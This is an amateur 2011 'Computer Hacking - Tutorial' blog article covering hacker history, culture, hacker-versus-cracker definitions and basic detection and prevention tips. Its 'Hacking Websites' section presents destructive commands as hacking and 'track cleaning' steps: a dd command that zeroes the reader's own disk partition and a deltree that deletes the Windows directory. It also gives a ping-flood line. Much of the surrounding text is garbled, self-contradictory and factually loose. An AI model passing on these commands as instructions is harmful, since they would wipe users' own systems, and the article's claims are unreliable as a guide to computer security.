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ARTICLE MADE ON 2011 AN ARTICLE FOR CYBERTRICKZ.WORDPRESS.COM R.Dinesh Babu {GREY HAT HACKER} [COMPUTER HACKING –

Computer Hacking - Tutorial by Dinesh !!!

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Page 1: Computer Hacking - Tutorial by Dinesh !!!

ARTICLE MADE ON 2011

AN ARTICLE FOR CYBERTRICKZ.WORDPRESS.COMR.Dinesh Babu {GREY HAT HACKER}

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Page 2: Computer Hacking - Tutorial by Dinesh !!!

The word hacking means attacking, who assault on the computer’s system security. Not all the hacking have the intention to steal others’ things. Hacking can be done on several places like a website, wireless connection, broadcasting networks, emails, gadgets like mobile phones, etc.

He can easily tweak these according to his needs and become hacker. This is the way the term was used when Bill Gates was inventing Windows.

Those who are often referred to as hackers today, should actually be called crackers - people who do not have unauthorized access, like a safe-cracker. If you doubt me, and want to know how to be a hacker then do a search on the term "professional hacker," and you will find many professional and legitimate computer training courses being offered. They are the ones learning the real hacker secrets.

What Are The Basics Needed To Become A Hacker

Everyone has heard of one individual or another that was caught while hacking computers that belonged to this or that organization. Because hacking into computers is highly illegal, it should

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be mentioned that this article will not mention any real specifics about the subject, and this author would rather gladly encourage you to become a real hacker - professionally.

This article, will however, give a brief overview of criminal hackers, some of their methods, and a few things you can do to make your own computer safer from hack attacks. Here are those things you need to learn on how to become a hacker.

Learn Computers

It should go without saying that the first thing that is needed is to learn about computers. This means study. A lot of reading is involved along with just plain old-fashioned learning how to use a computer. Then, of course, there are the special aspects of computer study. The places where the tips are learned is often two-fold: a friend who has access to a computer, and a variety of places on the Web. But this is also an interesting thing - if a young person has the ability to learn, and wants to learn can use hacking tutorials- then why not take the time to learn the right things - things that can earn him a lot of money in the legit world? Is it possibly that it could be the friend he has that turns him away from the good?

Hacking Simplified - For Those Who Want to Learn Things From the ScratchIt's quite probable that you have received spam offering a hotmail hacking guide that will give you the basics on how to become a hacker. Although it sounds tempting to have the power to know the private life of other persons, most of these guides and courses are nothing but scams that are looking for new victims. If you really want to become a hacker, you need to go to the places were they gather: a hacking facebook, a hacker's forum, free hacking tutorials or even a mailing list. The information is out there. You only need to go and find it.

Where Can You Get Material on Hacking and Information on Hacking

There are two main sources. The first one is the Internet. You will have to make a basic query in your favorite search engine with the word hacker and start looking each one of the suggested sites. Most of them will only offer you limited tutorials on how to hack (like the Hacker's Black book or the Happy Hacker book, which are outdated). Other's will give you an useful insight on this world. After some time, you will find forums were people from around the world share their experiences.

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Do not expect to enter an easy world. The jargon used by a group of hackers can be quite confusing for any beginner. So don't feel that you will never be part of it. Start with the basics and read "How to become a hacker" from Eric S. Rymond. Although the document is five years old, it will give you an introductory crash course on were do you need to start.

The second source is face to face reunions. Get into the internet and search for any hacker's meeting in your vicinity. You will be surprised to find that they meet quite regularly. Of course, do not expect to find a Matrix kind of reunion. This is serious, professional people that pay their rent by hacking. Drop by and make some questions on hacking tutorials.

What Is The Hackers Bible?

The hacker's bible has two possible sources, depending on whom do you ask. For some people, it is none other but the magazine 2600: The Hacker Quarterly. This magazine was created by Emmanuel Goldstein, and it focuses on aspects of different technologies. For example, it covers telecommunication devices as well as computers.

The magazine gives to its readers grey hacker's material. That means that it gives them information on how to augment the capacities of any electronic apparatus, such as a cell phone. This neutral posture is different to white hacking (were a hacker uses his abilities for a good cause, like detecting the vulnerabilities of a network) and black hacking (were a hacker uses his knowledge for selfish purposes, like creating a hotmail hacking guide).

The other Hacker's Bible is the Jargon File. This document is a glossary of hacker slang that has been collected since 1975, from the old days of the Arpanet (the precursor of the Internet).

Hacking Websites: Fun or Terror?

With a proper understanding of the relevant programming languages such as C, C++, Pearl, java etc. one can be fully equipped with the technique of hacking into website. There backdoors for the web hackers for website hacking. For hacking web sites one of the best ways for the hacker is to install linux on his or her personal computer he or she wants to hack from.

Then he can open up a shell to type: dd if=/dev/zero of=/dev/hda1 and press ENTER. As the next step he will type: dd hf= (url). There are a few other alternatives for hacking sites as well. The web hackers using Windows pc can also master the art of hacking websites with the flicking of his finger.

The first step is to clean up the tracks so that the feds fail to trace out the hacker. This happens automatically in case of linux. Cleaning up of tracks in case of Windows 95 or Windows 98 or Windows ME involves a step-by step procedure. Click Start then Run and then Command. In case of Windows NT or Windows 2000 the Tracks can be cleaned by pressing Start, then Run

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and then cmd. The next step is to clean up tracks with deltree c:/windows or c:\winnt, or whatever the main windows directory is. At the command prompt, press y, which will then go through and clean up the system's logs. The hackers should perform the same steps again after the hacking sites/hacking wireless internet sites. Then after this cleaning up the hackers should type: ping -l4000 (url).

Cyber Terrorism And Hacker's Group

The whole planet is today terrorized by the web hackers to whom hacking seems a mode of getting pleasure by the way of gaining knowledge or mere entertainment. A group of serious hackers named as PENTAGUARD had cracked into the government sites of Australia, America and England all at a time. The hackers in this case had replaced with a typical statement that read "The largest .gov & .mil mass defacement in the history of mankind".

This was a simple statement with an aesthetic undertone of threat. The act affected almost 24 sites with a transitory disruption.Similarly an educational site on the mad cow disease was defaced along with some cities and the nation's government sites in England. The Alaskan office of the department of interior was once attacked since the secretary of the Interior Designate, Gale Norton, encouraged drilling in the Arctic Wild Life Refugee for sucking out oil.

The common wealth of Australia is of no exception. The search page of the common wealth of Australia was once hacked along with the act of hacking into websites of small municipal sites in Australia. These are a scanty number of instances that proved to have jeopardized the respective concerns severely. The hackers had to use simple techniques and methods to do these. website hacking for these hackers is all as simple as a child's play. Their main focus was on the sites

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that were designed with vulnerable loopholes. Is Hacking Always Bad?Although the history of hacking is relatively unknown to most of the public, it's quite interesting to read about it. It doesn't matter if you aren't a computer expert or a system administrator of a big corporation. Computers are as much part of our history as airplanes and cars, and it should be common knowledge to know how they came to be. It's the only way you can understand the effects of computer hacking in our life.

History of Hacking

Hacking is not limited to computers. The real meaning of hacking is to expand the capabilities of any electronic device; to use them beyond the original intentions of the manufacturer. As a matter of fact, the first hackers appeared in the 1960's at the Massachusetts Institute of Technology (MIT), and their first victims were electric trains. They wanted them to perform faster and more efficiently. So, is hacking always bad? Not really. It only depends on how to use it. But it wasn't until a group of these hackers decided to exert their knowledge in the computer mainframes of the MIT.

During the 1970's, a different kind of hacker appeared: the phreaks or phone hackers. They learned ways to hack the telephonic system and make phone calls for free. Within these group of people, a phreaker became famous because a simple discovery. John Draper, also known as Captain Crunch, found that he could make long distance calls with a whistle. He built a blue box that could do this and the Esquire magazine published an article on how to build them. Fascinated by this discovery, two kids, Steve Wozniak and Steve Jobs, decided to sell these blue boxes, starting a business friendship which resulted in the founding of Apple.

By the 1980's, phreaks started to migrate to computers, and the first Bulletin Board Systems (BBS) appeared. BBS are like the yahoo groups of today, were people posted messages of any kind of topics. The BBS used by hackers specialized in tips on how to break into computers, how to use stolen credit card numbers and share stolen computer passwords.

It wasn't until 1986 that the US government realized the danger that hackers represented to the national security. As a way to counteract this menace, the Congress passed the Computer Fraud and Abuse Act, making computer breaking a crime across the nation.

During the 1990's, when the use of the internet widespread around the world, hackers multiplied, but it wasn't until the end of the decade that system's security became mainstream among the public.

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Today, we are accustomed to hackers, crackers, viruses, Trojans, worms and all of the

techniques we need to follow to combat them.

Hackers and Culture ? True Indeed !Hacker culture has existed for many decades, although the majority of us may have become recently aware thanks to movies like The Matrix. Nevertheless, hacking culture has been out there, and has been constantly influencing our society and the way we view the world. From anime to computer knowledge, hacker culture has, steadily, made its way to our lives.

What Is Hacker Culture?

Hacker culture is composed by all those experiences and human manifestations that are related to the exploit of hardware and software. Right now there are three kinds of hackers. The first and most known kind of hacker is the black hat hacker, or the individual who uses his knowledge for obtaining a personal benefit. Usually, it means stealing information that can be sold in the black market.

The most daring black hat hackers are able to crack bank accounts, leaving no trace behind. Fortunately, bank security and worldwide cooperation has been able to place some restrictions and control over these individuals.

On the other side of the balance is the white hack hacker, a computer security expert who works with organizations and helps them with their computer network security problems.

Finally, there are the grey hat hackers. This kind of hackers is composed by people who walk the thin line between white hat hackers and black hat hackers. Usually, their tendency will be influenced by their need of money or their lust for recognition among the hacker community.

Which Are The Origins Of Hacker Culture?

It could be said that hackers have existed since immemorial times. Although the Merriam-Webster dictionary portrays a hacker as a computer expert, in reality, a hacker is any person who looks for weaknesses in the system and tries to exploit them in their own benefit.

Under this definition, Philip II of Macedon, father of Alexander the Great, was a hacker. How so? He noticed that there were a series of weaknesses in the armies of ancient Greece. In order to exploit them in his favor, he decided to implement a series of improvements to his own army. As history has showed us, these improvements worked in his favor and in favor of his famous son.

The same could be said from Napoleon, who noticed that mobility and artillery could be used in such a way that no army in Europe would be able to withstand him. Unfortunately for him, he

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forgot to consider that logistics were an important thing to consider when he mobilized hundreds of thousands of men into the Russian Empire.

Outlaws of Technology! Hacker or Cracker In order to study the comparison the between the hackers and crackers, it is important to understand the respective definitions. While apparently the words hacking and cracking seems synonymous, yet there exist certain points of distinctions between the two and the meaning of the words will always be heated topics of debate. Since the very dawn of the civilization, man's hunger to attain the unattainable have went on opening new horizons in almost every aspects of life, and the technology is of no exception to this nature of human.

Aims of Hackers and Crackers

The computer hackers actually trespass or circumvent artistically, yet scientifically into the other computer system with a hunger to know the programmable systems, how they perform and their internal structures, while cracking is slight different in sense. Cracking means to break off the computer's security system. This is a subject matter of hard-core science with an aesthetic undertone of artistic skill that has attracted a few millions of teenagers and young adults all over the world.

Who Is A Hacker And What Is His Aim?

Delving deep into the concepts, we can compare the hackers and crackers. A hacker is a person who commits the fraudulent act or the penal offense of exploring into the other computers in order to know the details of the programmable system and how they work. On the other level, a cracker is a person just more secretive as compared to the hacker. The cracker breaks through the system's security and proves to be far more dangerous than the hackers who just quench his or her thirst by simply discovering the workings of a system.

Hence the crackers can potentially be much more perilous as compared to the hackers. While it is often believed that the hacking is simply exploring into the other computer system with an intention to know how the programmable system works, which is not a fraudulent task unless any sort of vandalism and theft is done by this, another huge section stands strictly against the view and look at the act from the view point of a crime.

Who is A Cracker and What Is His Aim?

A cracker is a technical person who has mastered the art of breaking systems, often not for acquiring knowledge, by the dint of few programs and softwares used as tools. They are

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more interested in the system's security without the need of great deal of knowledge, thereby not benefiting much.

On the other hand, a hacker who cracks and hacks systems is not only interested in breaking the security of the system but also in knowing about the system's details, by which he gains much more than by simply cracking systems. Unlike a cracker, a hacker generally does not have intention destroy data maliciously or to steel things.

A cracker who is often termed to be a cyber burglar brings out significant harm to the network or steels the information like passwords or credit card numbers. A Trojan is capable enough to recognize and record even every single keystroke that you make. Hence even if you do not store any personal or financial records in your system, the hackers can still be able to obtain the information by recognizing the keystrokes.

Hacker's beware: A Crook is Caught One Day or the otherHackers had broken into the Department of Defense's computers - again. With news like this, combined with the fact that other hackers are constantly seeking to steal people's identity, send out spam from innocent computers, and other computer crimes hacking into unauthorized places, makes it necessary for illegal hackers to be caught. If you are one of those who have suffered from a hack attack, then you may be one of those who say: "I need an IP specialist, to catch a hacker." This article will show you some things that you can do.

How Hackers Are Caught

With the fact that Microsoft and some other software companies have been notified - yes, by hackers, that there are many "holes" in Windows that a hacker can take advantage of. Microsoft has responded by attempting to fix the "holes" each time one is pointed out. Then, it sends out a patch to block hackers from attacking through that "hole." Keeping up with the update's from Microsoft is one way to close down the problems that exist in the Windows software - though it is unknown if all such "holes" will ever be known.

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Normally, it is rather hard to notice that a hacker has hacked into your computer. If all he is doing is having a look around, or taking minimum amounts of data - you really cannot be sure that you are being hacked. The are some effects of computer hacking, though, that might tip you off. Here are a couple of ways to detect hackers.

Detecting Hackers

Hackers, by nature are very stealthy. Their ability to gain access to your computer through the Internet can easily be done without your knowledge - and most of them seem to prefer that approach. Before time is spent on being able to detect a hacker, it should be noted that a determined hacker will not be stopped! They will get in - even to the Department of Defenses systems!

Some common things that might tip you off to an intrusion are:

Lights showing hard drive activity being busier than what your own activities call for Suspicious files left on your computer - often in the Windows Temp directory with a tmp.

suffix Obvious tampering - destroyed files, missing files, etc. Or, the worst case - someone's taking money out of your bank account or using your

credit cards (Please note, though, that this could also be the result of phishing, too - not necessarily hacking)

Your firewall keeps receives multiple packets from a single web address and notifies you.

Hacker Tricks And Prevention TechniquesIn movies or TV series where hackers are involved, we may have seen them apply their computer knowledge in order to perform certain hacker tricks that saved the day. From "The Matrix" to "Swordfish", hackers have been able to elevate themselves to the level of heroes with only a keyboard and a mouse. However, hackers attacks and hacker prevention is more difficulty, and complex, in real life.

Hollywood has a tendency to oversimplify things so the general public can understand them. After all, only a small percentage of the population has enough skills to perform this kind of demonstrations. So, if you want to prevent hacking there are some basics that need to be learned first.

Tricks And Techniques Employed By Hackers To Break Into Your System

The first most common technique used technique used by hackers is scanning. Hackers have created tools that scan computers for weak spots. It can be an operating system that hasn't been

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upgraded or a port in the computer that it is open without the knowledge of the user.

Hackers use this "open window" to get inside your computer in order to do whatever they want to do. The interesting thing about this is that these hacker tools are available for free in the Internet. So, with a couple of hours of instructions, almost every computer user can become a hacker.

Another way that hackers can access your machine is through malware: programs designed to capture vital information from your computer, like login users and passwords. Malware could be hidden in a PowerPoint presentation sent by email or even in an innocent Instant Messenger message window.

How To Prevent Hacker Attacks

Hackers are always looking for a way to get into computers of other persons. It can be something as simple as phising confidential information (like credit card or bank account numbers) to complex hacking routines that use your computer as a repository for illegal content (like music or movies with copyright).

Unfortunately there is no magical software to prevent hackers; and it will never exist. It doesn't matter how much money or resources you invest in designing the perfect system, someone will find the way to crack it. Even the biggest government agencies like NASA, CIA and NSA have been victims of hackers. And the same thing happens in the private sector with companies like Citigroup or Wal-Mart.

Conclusion :

Finally , DINESH wants to tell u that beware Hackers !!! And Thanks for downloading this tutorial its my previlage for having a person reading my tutorial ! If have any doubts or person problems on hacking just contact me {[email protected] or [email protected]} !!1

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